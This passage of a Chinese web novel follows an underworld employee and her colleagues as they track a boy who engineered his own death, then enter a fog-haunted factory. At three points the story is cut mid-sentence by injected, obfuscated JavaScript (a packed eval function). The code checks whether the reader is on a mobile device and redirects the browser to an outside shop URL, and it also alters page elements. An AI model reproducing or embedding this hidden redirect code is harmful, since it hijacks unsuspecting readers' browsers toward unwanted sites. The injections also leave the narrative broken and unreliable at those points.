直到，他输光了所有的钱，看着屏幕上的零，李求的心空空落落的，也许是时候该停手了。 正当李求起身要走时，大花臂却塞给他一篮子游戏币，李求的眼睛再一次亮了起来。 “先玩着，赢了再还我。” 从这句话之后，李求就几乎再没赢过，从那天起，许清晨也像消失了一般，再没出现在学校里。 账目连本带利越摞越高，逐渐变成了一个对于李求来说几乎不可能还上的数字。 “求求你，饶了我吧，我错了，我明天一定还钱。”小巷子里，李求被大花臂和一个瘦高个逼到了墙角。 “明天？这都第几个明天了，现在叫人拿钱来，连本带利一共一万五，没钱你就别想走。” “我朋友有钱，他这几天不在，今天他就回来了，我跟他拿了钱立马给姚老板送过去，求求你们了，放了我吧，我拿命跟你们保证。” 李求鼻青脸肿地跪在那里，额头肿得高高的，还渗着血。 揍他的两人互相看了一眼，似乎感觉他的说辞多少有些可信。 “小子，你记住，明天最后一天，再还不上钱有你好看的！” 说完大花臂在李求脸上吐了一口痰，转身离开了。 两人走后，李求依旧跪在那里没有动，眉眼低垂，忽然间，他似想到什么一般，眼底涌动起了浓烈的恨意。 “许清晨……”他咬牙切齿地叫出了许清晨的名字，似乎他现在的一切痛苦都是许清晨造成的。 “他为什么这么恨许清晨？这一切不是他自己造成的吗？” 周骏驰冷笑一声，说：“有的人天生就喜欢把自己遭受的苦难的原因归结给别人，怨恨别人就是他们生存的动力。” “那这样的人会进哪个地狱？” “在卞城王的大叫唤地狱里，有一个剥皮揎草小地狱【注1】，里面关押的都是喜欢怨天尤人的人。”周骏驰顿了顿，“不过，他犯下的罪行可不止这一个。” 李求起身，跌跌撞撞地向着学校走去，此刻是放学时间，学生们陆陆续续从校门中走出，胖子先看到了李求。 “你怎么了？”胖子显然有些关心朋友，但李求根本不领情。 “滚！难道你也想看我笑话？！” “李求你疯了？” 李求显然没疯，下一秒，他回归了冷静。 “今天许清晨来了没有？” “刚放学的时候看到他去老师办公室了。” 说话间，校门口出现了许清晨的身影，李求冲上前，拽起许清晨的领子，再一次朝小巷走去。 许清晨没有一丝挣扎，顺从地跟着他，仿佛一切都在意料之中。 “把你的钱全都拿出来。” 李求手持一把明晃晃的匕首，在身前晃来晃去。 “没钱。” “没钱？没钱我怎么和姚老板交代？！” 李求嘶吼着，将匕首抵在了许清晨的胸前。 “这跟我有什么关系？” “都是你的错！不是你给我那些钱我也不会走到这一步！” “我给你？哈哈，”许清晨像是被李求的话逗笑了，“每一分钱都是你抢走的好吧。” “要么拿出钱，要么今天你就别想活着走出这条巷子！” 李求的眼里是汹涌的恨与怒，那份恶意像是要从眼眶里冲出来将许清晨撕碎，但许清晨却始终一言不发，以一种略带悲悯的神态，居高临下地看着眼前这个满脸血污的同学。 李求绝望了，他觉得只有让许清晨吃点苦头，他才肯交出钱来。于是李求举起手中的匕首，朝许清晨的腹部刺去，他没有用全力，动作也并不快，如果有心的话，应该不难躲过去。 但是许清晨一动不动。 匕首刺进许清晨的身体里，连李求都吓了一跳，他没有想到人的身体竟这般柔软。 没有任何阻力，像是刺进了一团水中，只是轻轻地噗的一声，紧接着就是一股温暖的液体就流到了李 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“一般人只有彻底死后，灵魂才会从体内剥落，但有一种例外，人在休克的时候，如果有意识要逃离本体，也有可能提前从身体剥落，”周骏驰思考片刻，“恐怕许清晨就是利用了从休克到真正死亡的这段时间差逃走的。” “所以这一切都是他计划好的，那他的目的是什么？” “找到他直接问他。” “怎么找？” “如果你想藏起一滴水，你会藏在那里？” “市中心？” 周骏驰扬了扬眉，掏出钥匙打开了门，门外一片车水马龙。 没给乔林继续提问的余地，周骏驰先一步投身人海，徒留乔林一人在繁华的街道上凌乱。 【注1】根据《玉历宝钞》中的说法，十殿阎王的第六殿卞城王，掌管大叫唤大地狱及枉死城，其下设有十六个小地狱，剥皮揎草小地狱是第十六座，专惩阳世特定重罪者，同时这座小地狱名字的又来是明朝朱元璋创设的著名酷刑，二者在文化与形式上相互影响。 至于它惩治什么样的人，这个就比较主观了，而且不同的典籍对于这个的分类也不同，但是我们可以聊聊他的行刑方式。 进入剥皮揎草小地狱的灵魂，小鬼会将罪魂的皮完整剥下，做成袋状填充稻草或其他杂物，让其在痛苦中感受剥皮之苦，而且这种痛苦会持续到刑期结束，期满后再转解其他地狱或转世受报。 可怕吧？还得是古人有想象力，你说他怎么就能想出这么一招折磨人呢？ 【注2】因为后面还会有关于枉死城的介绍，涉及剧透，所以在下面给大家做了介绍了。 14. 许清晨 M市是一线城市，车水马龙街道上车水马龙，引擎声与人群的喧嚣汇成激昂的城市脉搏。 该从哪里开始找好呢？在这儿站了一分钟，从她身边来来往往过去了就有将近一百个人。 许清晨真的在这儿吗？虽说藏木于林，但是在这座枝繁叶茂的城市里，树林又不止这一片，周骏驰怎么确定就是这儿呢？ 乔林看到身旁的大型商场，反正也没有头绪，不如从这里开始找吧，一边找还可以一边采购点腓腓需要的货品。 生前一个人在城市打拼，每个月房租占了工资的大头，还想着要存些钱为以后做打算，日子过得紧紧巴巴的，现在钱这东西，想要多少就有多少，岂不是想买什么买什么？ 想到这里，乔林已经抑制不住心中的激动，冲进商场准备血拼一场。 先要买齐腓腓要的东西，其实乔林可以用法术将这些东西收入囊中，但是她没有，她有点享受这种大包小包逛街的感觉。 这种高级的商场的访客并不多，再加上是工作日的缘故，客人更是寥寥无几。 乔林很少在工作日出来，习惯了周末拥挤的大卖场，看着现在满是松弛感的商场，竟有一种在另一个空间的感觉，那种陌生感，甚至比在地府时还要强烈。 乔林自嘲地笑了一声，这有钱人和穷人的区别，简直比活人和死人都大。 乔林来到了一家生前连看一眼都觉得自己有些不配的店前，这是一个奢侈品品牌，富丽堂皇的装饰和里面打扮精致却一脸厌烦的售货员，都让乔林望而却步。 怕什么，我现在有的是钱，给自己鼓了鼓劲儿，乔林迈进了XX的大门。 本来闲着的服务员看着有人进来，赶忙上前迎接，当然，比她身体更先来到的是她上下打量的目光，看着一身工装的乔林，她意识到，这可能并不是自己的目标客户。 “您好，欢迎光临XX，有什么能帮您的？” 嘴上说着欢迎光临，脸上却写满了不耐烦。 “我随便看看。”乔林客气地说道。 “那不打扰您了。”服务员如释重负地挤出一个虚假的微笑，再一次闪身回到了柜台的里面。 乔林第一次来奢侈品店，她决定大逛特逛一番，店铺很宽敞，商品都是三三两两地放着，店里有包、有首饰也有衣服之类的，乔林边看东西，边看价牌，价牌上那一溜长长的零看得乔林直眼晕。 她不敢想象，要多有钱才能买这些东西像买日用品一样一点也不心疼。 闲逛间，乔林的目光被架子上的一件小毛衣吸引了，她在一个同事身上见过类似款。 她想不起那个同事的名字了，只记得她皮肤白嫩，说话温柔，无论吃穿都非常精致，而她每次买新东西，也总能引起主管徐丽娟的不满，嘟嘟囔囔说着什么包养之类难听的话。 但乔林觉得，徐丽娟就是嫉妒，有钱人家也会生女孩，凭什么非得有钱就要是男人给的。 当然，徐丽娟对她的不满不仅仅来自她的吃穿，更重要的是，这个同事，每次面对徐丽娟的不合理要求，总能体面拒绝，让徐丽娟吃瘪。 每到这个时候，乔林的心里就像过年一样暗爽，乔林想，这样的女孩的人生，是什么样子的呢，她也好想过一下试试，想到这儿，乔林心里暗下决心，一定要好好工作投个好胎，也体验一把有钱人的人生。 眼前的这件小毛衣，在柔美灯光的照射下，看起来软糯轻柔，虽然样子很简单，但是当时穿在那个同事的身上，却是那么合身，想必这就是剪裁的魔力。 “你好，我想试一下这件毛衣。” “您好，这件毛衣两万三千八，您确定要试吗？” “我确定。” “这件毛衣是羊绒的，不能水洗的。” “M码，谢谢。” “试衣间在那边。”服务员不情愿地上前取下了衣服。 拿着毛衣，乔林又挑了条搭配的裤子。 从试衣间出来，乔林看了看镜子中的自己，感觉确实和并西西上二十多一件的毛衣不一样。 老话说得没错，人靠衣装，佛靠金装。 乔林个子不矮，有168cm，再加上常年自己做饭不外食也不叫外卖，身材倒是非常苗条。换了这身装扮，人都显得贵气了不少。 就这身材，怎么会脑梗了呢？乔林边照镜子边琢磨，身上就那么点脂肪，还能都进了脑子不成？ “包起来。”乔林把自己的衣服递给了服务员。 “您还有什么需要的吗？我们这里还有少量当季新款，需要我带您看一下吗？” 听到乔林要买单，那人瞬间变脸，速度之快，让人瞠目结舌，呵呵，人生在世，这怎么不能算作一种本领呢。 乔林觉得她很可笑，也不知道这种唯利是图的人，有没有什么对应的地狱等着她，一会儿见着周骏驰倒要问问他。 “不需要了。” “可以加您一个微信吗？再有类似款上新我再发给您。” 乔林摆摆手，付完现金走出了商场，忽然感受到了从人群中投来的一丝异样的目光。 乔林环顾四周，没有获取到任何有用的信息，车水马龙的商业街，来往的行人、广告、建筑……占据了太多视线，她决定闭上眼睛用人的本能去感受一下。 她的感觉似乎比死之前更加敏锐了，有种冲破了污浊的清明，在黑暗中，粘在身上的目光就像盘踞在身后的蛇。除了蛇…… 乔林睁开了眼。 “难道许清晨就在周围？”她小声念叨着，“一个人，知道了地狱的存在，然后一心求死，他的目的是什么？” 他对地狱了解到了什么地步？如果只是想要弃号重开的话，跟着黑白无常走就是了，但是许清晨没有。 如果是有想报复的人，他死都不怕，还能怕杀人？费这么大劲让别人杀了自己，再做鬼报复别人？这个原因也排除。 但可以肯定的是，一定有什么事情，是许清晨死了才能做的。 乔林心中约莫有了一个可能的答案，她打开了手机上的地图，研究了片刻，随即找了家大一点的奶茶店，点了杯奶茶，然后朝厕所走去。 她进到厕所里观察了一下四周的环境，看到半墙处有一扇不大的小窗户，还好乔林身高不错，踩着窗台，便利落地爬了出去。 窗外是一条人烟稀少的小巷子，她出来后没有片刻停留就继续向小巷深处走去，越向里走人就越少，终于来到了一处地点，两边都是高高的红砖围墙，周围一个人也没有。 “许清晨，你好，我是地府的工作人员，有什么想知道的，你可以当面问我。”乔林转身向后，清楚大声地说道。 “你叫什么？”声音却是从乔林的身后传来，也就是刚才乔林前方，乔林只得再次转过身去。 “你什么时候去那儿的？你不是应该在我身后吗？” “你先回答我的问题。” “好吧，我叫乔林。” “你说你是地府的工作人员，做的什么工作？” 乔林犹豫了片刻，不知道自己的工作内容能不能随便告诉别人，就算是能说的话，要怎么告诉他才好呢？ “我……嗯……我的工作主要就是处理你这种情况。” “什么叫我这种情况？我这种情况很多吗？” “停，你问了这么多，我能不能问你一个问题，我只问一个。” “我知道你想要问什么，但是我并不想告诉你。” “你最好配合一点，不然我要来硬的了。” 乔林学着周骏驰从口袋里掏宝物的样子，像掏枪一样，把手伸进了口袋里，想吓唬吓唬这个看起来桀骜不驯的小鬼头。 “别费工夫了，想必你也知道，我这几天一直跟着你们，也早就知道了你是新来的，要不我也不会跟你过来不是吗？” 许清晨显然没那么好骗，他毫不留情地揭穿了乔林的谎话，乔林有些尴尬，讪讪地收回了伸进口袋里的手。 “好吧，那我们也不能一直这样僵持着对吗？我也知道你很警惕，所以我才决定自己来，我这样做就是想要帮助你，告诉我，你想要什么？” 许清晨看来是吃软不吃硬的主儿，她决定改变一下策略，硬的不行来软的。 他沉吟片刻，说出了自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17136028|196284||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己的诉求。 “带我去地府，我有一个想去的地方。” “地府很大，你具体要哪里？” 她这样问也是想探探许清晨的底，看看他对地府到底了解了多少。 “你有这个权力吗？”许清晨再一次看破了她的意图。 “我尽力。” 也不知道这种情况一般地府的流程会怎么处理，乔林不敢直接答应，但是如果许清晨评分不是很低，生前又没做什么坏事的话，应该可以和周骏驰申请一下。 想到周骏驰，乔林心里有些打鼓，她在商场门口感觉到了周骏驰的目光，她料定了周骏驰是正人君子，不会跟到女厕，所以从厕所甩开了他，不知道他会不会生气…… 在乔林思绪飘忽间，许清晨也并没有说话，他似乎在权衡，要不要告诉眼前这个菜鸟，但这个菜鸟让他有种亲切感，他愿意相信她，于是许清晨做出了回答：“……我也说不好，要到了我才能找到。” 他的回答让乔林嗅到了一丝信息。 许清晨知道地府有一个地方，他要到了才能找到，说明他见过。他从某处见到了一个地府里的画面，从而引起了他后续的一系列行动。 “那里有什么？” “我为什么要告诉你？”许清晨对抗着内心的倾诉欲，他不是一个藏不住事情的人，但面对眼前这个陌生平凡的女人，他却有一种把一切和盘托出的冲动。 “相信我，我想帮你，”乔林真挚地看着眼前这个少年，直觉告诉她许清晨不是坏人，乔林虽然不知道他想做什么，但从目前的情况看，不管他要做什么，那件事绝对是地府不允许的，“你从哪里看到的那个地方？” 两人谈话间，不知一层薄雾从周边氤氲着升起，逐渐笼罩住了小巷。 没见过大中午下雾的，这雾来得蹊跷。 “这雾是你带来的吗？”许清晨提高了警惕。 “不是……”乔林也感觉到了不对劲，她感觉到正被一种不同于地府的阴冷，缓慢地沁入骨髓。 “看来有人不想我告诉你，”许清晨一声冷笑，“我就知道不会那么巧，如果认为我会乖乖听话，那可真是选错人了。” 乔林小心翼翼地挪到许清晨身边，她拿出手机，准备给周骏驰发一个定位，却发现在这团越来越浓的雾中，手机竟然一点信号都没有。 “听我说，”许清晨快步上前，双手抓住乔林的肩膀，“有一天放学，我捡到了一面铜镜，铜镜在每天的整点前后会出现一些画面，像是监控画面，一开始，我以为是什么电子设备，直到我试图拆开它，无论用什么办法，都没有办法将它打开。” 随着许清晨的话，周围的雾愈发的浓了起来，浓得似乎世界上只剩下了这两人。 “先别说了，我们先试着出去，等出去了你再告诉我。” 即便眼前这个男孩高出自己半个头，但毕竟才16岁，乔林觉得许清晨还是个孩子，她应该保护他，于是拉起他的胳膊，朝着刚才来时的方向走去。 “我们还能出去吗？剧情没有按照对面想要的方向发展，下一步就是灭口了吧，”许清晨笑了，随即继续说了起来，“我开始仔细观察铜镜里的画面，有些画面就是些正常的办公场景，但是有的画面却有种说不出的诡异……” “你从哪里捡到的铜镜？”盲生发现了一个华点。 谢必安说过，法器不是萝卜白菜，他这么一个资深地府工作者，想拥有一个法器都很难，那一个活人难不成还能跟捡破烂似的，随手就能捡它个三五个？ 乔林的脑海里那个有些眼熟的背影一闪而过。 “我从……” 话没说完，两人周围弄得像丝绸一般的雾竟开始流动了起来，像一只手一般朝二人的口鼻眼耳处涌入。 两人迅速捂住口鼻，但那雾柔软滑腻，如同液体一般从二人的指缝间缓缓地流入。 乔林恶心极了，那感觉就像是一只只细小的手从你的嘴里伸了进去，在你的四肢百骸慢慢摸索，你却一点办法都没有。 随着越来越多的浓雾涌入她的身体，乔林感觉自己意识也开始逐渐模糊了起来…… 15. 谜团 在意识消失前，乔林看到一道黑影从浓雾中闪过，接下来，她的世界就坠入了一片黑暗。 乔林感觉自己此刻正置身于一片黑色的海洋中，周身被寒冷刺骨的液体包裹着，能感受到液体轻微地流动。 她挣扎着想起身，那片白色的雾，却再次从身下升起，化作无数双手，缠住了乔林的身体，将她向无尽黑暗的深处拉扯。 一点力气都用不上，乔林心想这次真的完了，不知道许清晨怎么样，跑掉没有，估计也拉倒了…… 周骏驰，我先走一步了，你一定要为我报仇啊。 她放弃了挣扎，闭上了眼睛。 下一秒，一股柔和的白光，穿透了乔林的眼皮，伴随着白光的亮起，乔林还嗅到了一股熟悉的清冽好闻的木头香，让她昏昏沉沉的头脑也随之清明了起来。 她再次睁开眼，看到黑暗的上空亮起了一片白光，与身下的白雾形成了对峙。 白光越来越强，白雾显然不是对手，像是被灼烧般地向下缩去。 乔林感到白光所照之处，如同春风般温暖，让乔林有一种在寒冷的冬天，拖着冻得僵硬的身体，进入大澡堂子的汗蒸房里的舒适感。 白光忽地有些刺眼，她闭上眼再用手一挡，这时她发现自己的身体也恢复了自由。 “醒了就赶紧起来，”周骏驰的声音从乔林的耳边响起，此刻就连他冷冰冰的语气听起来都让乔林觉得如沐春风，“知道擅自行动的下场了吗？” 乔林睁开眼睛，发现她正半躺在周骏驰的怀里，那股好闻的木头香，也逐渐清晰了起来。 啊，对了，那是周骏驰身上的味道。 “许清晨呢？” 乔林想到了还有个人，腾地从周骏驰的怀里弹射了出起来。 起身的刹那，乔林才看到了脚边的许清晨，此刻正躺在冰冷的水泥地上。 “醒醒，醒醒，”乔林抱起许清晨的上半身摇晃了几下，看他没醒，又转头焦急地看着周骏驰，“他没事吧？” “赶紧醒。” 周骏驰不耐烦地踢了踢许清晨的腿。 许清晨这才皱着眉睁开了眼。 “刚才是怎么回事？” 乔林看到许清晨没事，心里有一万个问题想要问周骏驰。 “没想到地府也有敌对势力啊。”比起周骏驰，倒是许清晨先开口了。 “不关你的事，”说着周骏驰从口袋里掏出一条细长的链条，在手上紧了紧，“是你老实过来，还是想受点皮肉苦？” 看到周骏驰拿出家伙，许清晨赶紧躲到乔林身后，说：“你答应要帮我的！” “你怎么敢随便给人许愿？”周骏驰质问乔林。 “额……那个，你是怎么发现我逃走的？真的太厉害了！”一来乔林想转移话题，二来她觉得自己的逃跑天衣无缝，毫无破绽，周骏驰到底是怎么发现的？ “……你白痴吗？”比回答先来的是周骏驰的嘲讽。 “不想答就不要答，干嘛骂人。” “你需要上厕所吗？” “……” 啊……这……听完周骏驰的回答，乔林感觉脑袋里面有些痒，好像是一种脑子正在长出来的感觉。 “啊哈哈，那个，嗯，不说这个了，”乔林尴尬地挠挠头，“这是许清晨，他之所以发现地府的存在，是因为有一天捡到了一个可以看到地府画面的铜镜，那个铜镜在吗？” 在乔林热切的目光中，许清晨摸了摸口袋，这一摸才发现，铜镜不见了。 “不见了对吗？”周骏驰倒是一副意料之中的表情。 “那你倒说说是谁拿走的？”许清晨猜测周骏驰并不知道对方的底细。 周骏驰没回答，把对方当成了空气。 “不如这样吧，咱们边走边问。”乔林从中打了个哈哈。 这人也抓住了，接下来应该就是要回城隍处报告，接着就要回地府了，乔林打起了小算盘，自己还有一件价值190业绩点的任务没完成呢。 “走去哪？”许清晨满脸警惕，不知道是不是要带自己去投胎。 “欣桐小区你听说过没有？”乔林心说，这不就是个现成的本地人吗？ “你要去我们小区干嘛？”许清晨问道。 不会这么巧吧……乔林心里隐隐地有了预感。 “欣桐小区三号楼二单元101，是你家吗？” “是啊，但是那里的线索我应该都处理干净了，还有什么要查的？” 乔林有口难言，虽说娴女是周骏驰推荐的，但是周骏驰毕竟是自己的上司，而自己又是在工作时间干私活，她有点摸不清这件事能不能拿到台面上说，但是又实在想告诉许清晨。 “别为难了，你和腓腓的事我都知道了。”还是周骏驰打破了僵局。 乔林长舒一口气，然后把事情的经过一五一十地讲给了许清晨。 许清晨的眼神从一开始的不在乎转为了震惊与悔恨，泛红的眼角闪动着一丝极力克制的泪光。 “他什么时候死的……”许清晨咬着牙问道，他努力让自己的声音听起来不那么颤抖。 “我帮你查查。”乔林赶紧掏出手机。 “算了，”许清晨揉了揉脸，带走了眼角的泪，“这样也好，我做错事了，我还有赎罪的机会吗？” “那要看你能不能交代清楚了。”周骏驰说。 听了周骏驰的话，乔林心里稍微地放松了一些，她一直担心许清晨会被处罚，但是既然周骏驰这么说，就是给了他机会。 “我是在教室的垃圾桶旁捡到的铜镜，那天我是值日生，我以为是垃圾，但是拿到手感觉沉甸甸的，我好奇地打开看，里面闪过了一个画面，是我父亲的脸。” “我妈说我爸是为了外面的女人抛弃了我们，那时候小，我也从没怀疑过她的说法，后来没过几年我妈也死了，我更无从求证了，这么多年过去了，没想到还能再看到他。” 许清晨用佯装的轻松语气，讲述着自己的故事，乔林却听得心里一阵发酸，同样作为单亲，她实在明白许清晨的感受。 “时隔这么多年再一次见到他，我一眼就认出了，因为他和离开我的时候，长得几乎没有变。” “我时刻关注着那面铜镜，一开始以为这是哪里的监控，直到有一天，我从里面看到了很多看起来很恐怖的画面，剥皮砍骨之类的，很真实，不像是合成的画面……” “我开始研究那面铜镜，我发现上面刻的花纹是小篆的变形体，写的是地府宝鉴四个字。” “我觉得很荒唐，这世界上怎么可能会有地府……” 许清晨笑了一下，不知道是因为自己当初的无知，还是因为现在这一切的荒唐，是的，荒唐，乔林最近也常有这种感觉。 “后来我没日没夜地泡在图书馆里，想必你们也知道了，看了哪些书。直到有一天我熬了一夜，看着看着睡着了，醒来时，书页间多了一张纸条。” “我后来想办法去查了监控，什么也没看到，那张纸条竟是凭空多出来的……” “纸条上写了什么？”周骏驰打断了许清晨的话。 “死亡将带你去你想去的地方，请记住，要在黑暗彻底到来前离开。” “走吧，回去吧。” “许清晨怎么办？”乔林紧张地拉着周骏驰的袖子。 “当然是一起回去。” “我知道，我的意思是……” “我知道你的意思，回去再说。” 三人去城隍处交接完，回到了周骏驰的办公室，此时黑白无常两人都在。 白无常依旧是懒散地半倚在沙发上，而黑无常则是站在窗前，向外远望。 这是乔林第一次见到没有戴面具的黑无常，只见他五官深邃，星目剑眉，虽是长发，却无半点阴柔之气，站在余晖中，有种古代侠客般的豪气。 “无救，人带来了。” 周骏驰将许清晨带到黑无常身边，又对着黑无常耳语了几句，黑无常没说话，只是点了点头。 乔林的心此刻都提到了嗓子眼，真想凑上去听一听周骏驰到底说了点什么，有什么话非要藏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“当然，发现了一个可疑的……可疑的……谜团？” “可疑的……谜团？” “这东西始终呈云雾状，我怀疑可能是某种妖怪为了掩饰自己形态，幻化而成。” “妖怪？真的存在吗？”乔林来了兴致。 “当然，甚至有的妖怪没有咱们地府的时候就已经存在了，不过那种大妖怪基本都被招安了，现在都成了神兽，”谢必安像是陷入了回忆，“也有些没招安的，但是也有几百年没见过他们的身影了。” “消失了几百年的东西忽然出现，恐怕不单单是要策反一两个小鬼那么简单。”周骏驰说道。 “那我们需不需要去D市看看？”乔林试探性地问道。 “好，就听你的了。”谁知谢必安随即痛快地答应了。 “啊？？？” 没等乔林反应过来，通往D市门已经被谢必安拉开了，门外并不是平常的城隍办事处，而是一大片荒草丛生的野地，在不远处，一座废旧厂房伫立在群山和荒草间。 乔林赶紧把从阳间带过来的东西放在了周骏驰办公室门口，又给腓腓发了条信息。 D市……是一个并不太出名的南方小城，乔林却觉得特别耳熟，耳熟到让她感觉有些焦躁，像是有什么很重要的东西被自己遗忘了似的。 不知道是不是做手术的时候，医生落了个手术钳子在里面，这脑子，真是越来越不好使了。 来到D市的地界，乔林不由自主地系上了外套的扣子，此时正值初秋，南方的暑气还未消退，不应该这么冷才是。 乔林抬头，暮色中，群山如沉默的巨兽，匍匐在墨汁点染的天际，它怀中的旧厂房像一具被遗弃的巨大遗骸，在荒草的围裹中透着说不出的鬼气。 乔林不由自主地打了个寒颤。 16. “野牛” “跟紧点。”周骏驰回头对乔林说道，听到他的声音，乔林觉得又莫名地安心了一些。 “你怎么不让我跟紧点？”谢必安对周骏驰的厚此薄彼提出了抗议。 周骏驰没有理他，倒是乔林给了他肚子一记肘击。 “噗，你吃什么了？力气怎么这么大？” “嘘——” 周骏驰打断了二人的打闹。 随着逐渐靠近妖怪的老巢，那熟悉的白雾也开始逐渐地升腾起来，似有生命一般，看守着这座破旧的城堡，一旦有人靠近，便警惕地在生人周边环绕开来。 周骏驰从西装口袋里掏出一张折叠成女生掌心大小、四方形状的崭新的白麻布，麻布边缘还有几处脱线的地方。 这布只叠了一折，展开也不过比正方形长了一段，布的中间是用墨画的一盏油灯，寥寥几笔，神形兼备。 只见周骏驰用手轻轻一抖，一盏哈密瓜大小的油灯便出现在了他的手上。 这一手给乔林再一次秀得够呛，好家伙，这不哆啦A梦（帅气版）嘛？她真想看看他的口袋里到底还装了多少宝贝。 真是手动星星眼了。 随着油灯逐渐亮起，周边的白雾恐惧地向后瑟缩着。 油灯仅有豆大的光，却将周边约操场大的白雾全部驱散，柔和的光线下，一切如白昼般清明。 前方十米处，就是厂区的正门了，在杂草的掩映下，两扇拼接的铁皮门歪斜地嵌在旁边的水泥墩子上，银灰色漆皮早已剥落了大半。 底层暗红色的铁锈，在夕阳的余晖下，犹如干涸的血液一般，凝固在这鬼气森森的大门上。 透过门缝向内望去，是白雾笼罩的一条不知道通向哪里的甬道。 远处传来了几声猫头鹰的啼鸣，提醒三人，黑夜降至。 周骏驰手持油灯走在最前，随着三人的靠近，门后突然传来一阵细碎的“沙沙”声，不是荒草摩擦的脆响，而是像无数细虫藏在雾里快速爬动，听得人后颈发紧。 周骏驰指尖抵在铁皮门上，稍一用力，“吱呀”的刺耳声响再次划破死寂。 甬道的一边是一人高的枯草，另一边是破败的红色砖墙，裂开的缝隙里满是霉斑。 “这墙不对劲。”谢必安伸手摸了摸墙面，指尖沾了些黑色粉末，“像是被阴气侵蚀多年，寻常妖怪可做不到这地步，咱们恐怕遇见狠茬了。” 乔林本以为就是寻常的苔藓霉斑，听了谢必安的话，她再看向那面砖墙，发现这些霉菌顺着蜿蜒的墙缝，在墙上组成了一些复杂的图案。 “这是符咒吗？”乔林问。 “嗯，离那面墙远点。”周骏驰回答。 听了他的话，乔林立马弹射起步，离那堵墙远远的。 周骏驰抬手将油灯举高了些。暖黄的光穿透白雾，照亮了甬道尽头。 那是一扇同样破败的铁门，门上挂着一把锈迹斑斑的大锁，锁芯处缠着几缕若有若无的白雾，正轻轻地蠕动着。 恰在此时，一只麻雀扑棱着翅膀落在甬道中央，低头啄食地上的草籽。 乔林还没来得及感叹这鸟不拉屎的地方居然还真有鸟来拉屎，墙缝里的霉斑突然动了。 霉斑凝聚在一起，化成液体，像在缝隙里涌动的黑色泉眼，咕嘟咕嘟顺着墙壁像朝麻雀漫去。 麻雀似有察觉，猛地展翅欲飞，可黑水蔓延的速度比风还快，瞬间将它裹成个黑球。 随后，黑球便“滋啦”一声缩小、消散，连根羽毛都没剩下，只在地上留下一摊猩红的水渍。 这一切的发生，也就在毫秒之间。 “我靠……”乔林有点冒冷汗了。 “这阵法是用来养雾的。”周骏驰蹲下身，指尖轻轻点了点地面上的裂痕，阵法线条突然亮起暗红色的光，“那妖物把这里当巢穴，再用这阵法捕食。” “那我们不会被吃掉吧？” “我俩肯定是不对他的胃口，你嘛……”谢必安上下打量了一下乔林，“倒是秀色可餐。” “狗嘴里吐不出象牙来。”乔林瞪了谢必安一眼，下意识往更靠谱的周骏驰身边靠了靠。 随着三人持油灯靠近，锁眼里的白雾也识趣地躲进了身后的厂房里。 三人再次推开了厂房的大门，随着厂房大门“哐当”一声撞在墙上，扬起的灰尘在油灯暖光里翻滚。 门内的白雾比甬道中浓稠数倍，像是凝固的牛奶，油灯的照明能力也因此大打折扣，仅能看清身前三步的距离。 此时在甬道外听过的“沙沙”声再度响起，像是有无数细虫在雾里穿梭，又像是有人用指甲刮擦着水泥地面。 “小心脚下。”周骏驰将油灯举过头顶，昏黄的光晕在雾中撑开一片安全区，“这雾里藏着食魂丝，会咬食人的魂魄。” 话音刚落，谢必安突然“嘶”了一声，猛地甩了甩手腕不知道什么时候，那细丝竟已经缠上了他的指尖，正在往皮肤里钻，若不是他反应快，怕是已被缠上。 “这鬼东西够阴的！”他将指尖凑到油灯前，细丝遇光瞬间蜷缩成灰。 雾中的“沙沙”声越来越近，偶尔能看到雾里闪过模糊的黑影，像是有人在暗中窥视。 乔林突然觉得后颈一凉，像是有冰冷的发丝擦过皮肤，她回过头，却只看到一片白茫茫的雾。 再回过头来，周骏驰却不见了。 “周骏驰！谢必安！”乔林喊道，“你们去哪儿了？！” “别回头，专注前方。”周骏驰的声音从前方传来，带着一丝不易察觉的安抚，“一切都是雾里的幻象。” 随后一切归于死寂。 “妞妞，妞妞。” 妈妈的声音从身后传来，已经很久都没人叫过自己这个名字了。 随着呼唤的响起，周围的一切都渐渐地明亮了起来，乔林看到了儿时家里的饭桌，桌子被擦得锃亮，上面还有她调皮拿笔画的歪歪扭扭的太阳。 妈妈说像梵高画的，还涂了层清漆，保留了下来。 那之后好长时间，乔林都觉得自己很有画画的天赋，可现在再看，明明画得什么都不是嘛，也不知道妈妈怎么夸出口的。 想到这儿，乔林扑哧一声笑了出来。 “自己在那儿偷笑什么呢？” 妈妈端着一锅排骨汤从厨房走了出来。 “快拿个垫子，别把桌子烫坏了。” 乔林本能地拿起桌子边上的垫子放在了正中央。 “妈，你怎么在这儿？” “傻妞妞，这是咱们家，我不在这儿在哪儿？”妈妈拿手指节敲了敲乔林的额头。 这轻轻一敲，乔林的眼泪止不住地流了下来。 在多少个疲惫的夜晚，乔林看到亮起的万家灯火，总能想起妈妈的排骨汤。 “敲疼了？”见她掉眼泪，妈妈赶紧放下汤勺，用围裙擦了擦手，慌慌张张地凑过来查看她的额头，指尖的温度还是那样温暖，“都怪妈，下手没轻没重的……” “没事。”乔林的声音有些喑哑，这些年的委屈在看到妈妈的一瞬间涌上心头，她只想立马扑到妈妈的怀里大哭一场。 